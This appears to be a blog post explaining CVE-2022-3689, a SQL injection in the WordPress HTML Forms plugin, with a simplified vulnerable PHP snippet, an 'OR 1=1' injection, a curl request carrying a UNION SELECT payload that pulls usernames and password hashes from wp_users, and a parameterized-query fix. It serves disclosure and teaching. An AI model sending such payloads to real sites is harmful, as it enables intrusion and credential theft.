WordPress powers a giant chunk of the web, but its plugin ecosystem often opens doors for attackers. CVE-2022-3689 is one such threat, found in the popular HTML Forms plugin (before version 1.3.25). In this post, we’ll walk through the details of this vulnerability, show you some code, and unpack how a high-privilege user could turn this bug into a potential site compromise.

Affected Plugin: HTML Forms for WordPress (_before 1.3.25_)

- CVE: CVE-2022-3689

2. What is SQL Injection, Anyway?

SQL Injection (SQLi) happens when untrusted input gets dropped directly into a database query. This can let attackers steal, modify, or even delete data.

Since WordPress plugins often interact with the database based on user actions, sloppy coding can turn into big trouble.

3. The HTML Forms Plugin Bug

The HTML Forms plugin lets you easily build forms and collect data on your WordPress site. In versions before 1.3.25, a certain parameter was plugged into a SQL statement *without proper escaping*. This gave opportunity for a privileged user to break out of the intended query and inject their own SQL.

According to the Wordfence disclosure:

> "The plugin does not properly escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users."

Assume this snippet (simplified for clarity)

global $wpdb;
$form_id = $_POST['form_id']; // Value provided by user input
$query   = "SELECT * FROM {$wpdb->prefix}htmlforms_submissions WHERE form_id = $form_id";
$results = $wpdb->get_results($query);

Notice the problem? If $form_id comes from user input and *isn’t escaped* or parameterized, a malicious value like 1 OR 1=1 could turn this into:

SELECT * FROM wp_htmlforms_submissions WHERE form_id = 1 OR 1=1

Now the query returns every submission, not just the intended one!

Log in as a high-privilege user.

2. Send a manipulated request: For example, intercept a POST request to the plugin functionality and change the form_id to something malicious:

form_id= OR 1=1

3. Observe the entry leak: Attackers can exfiltrate data, enumerate records, or with more complex queries, potentially write or alter data.

Advanced exploitation:
If the attacker also knows table names, they could union-select other data, or in rare misconfigured environments, attempt for code execution using advanced SQLi techniques.

Here’s a curl command simulating a malicious request (you’d need authentication cookies)

curl -X POST \
  'https://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php?action=htmlforms_action'; \
  -b 'wordpress_logged_in=your_logged_in_cookie' \
  --data "form_id= UNION SELECT user_login, user_pass, 1, 1 FROM wp_users"

*Replace URLs, cookies, and table names as appropriate!*

The developer fixed this bug in 1.3.25, likely by parameterizing the query

$form_id = $_POST['form_id'];
$query   = $wpdb->prepare(
    "SELECT * FROM {$wpdb->prefix}htmlforms_submissions WHERE form_id = %d",
    $form_id
);
$results = $wpdb->get_results($query);

The %d makes sure only integers are accepted, mitigating injection.

9. More Resources

- Official NVD Entry for CVE-2022-3689
- WPScan Advisory
- Wordfence Threat Intelligence
- OWASP SQL Injection Guide

Final Thoughts

This vulnerability teaches a crucial lesson: always escape and sanitize inputs—especially before they make it into a database. Even in admin-only endpoints, trust but verify. If you run WordPress and rely on plugins, *patch early, patch often.*

Timeline

Published on: 11/28/2022 14:15:00 UTC
Last modified on: 11/30/2022 03:45:00 UTC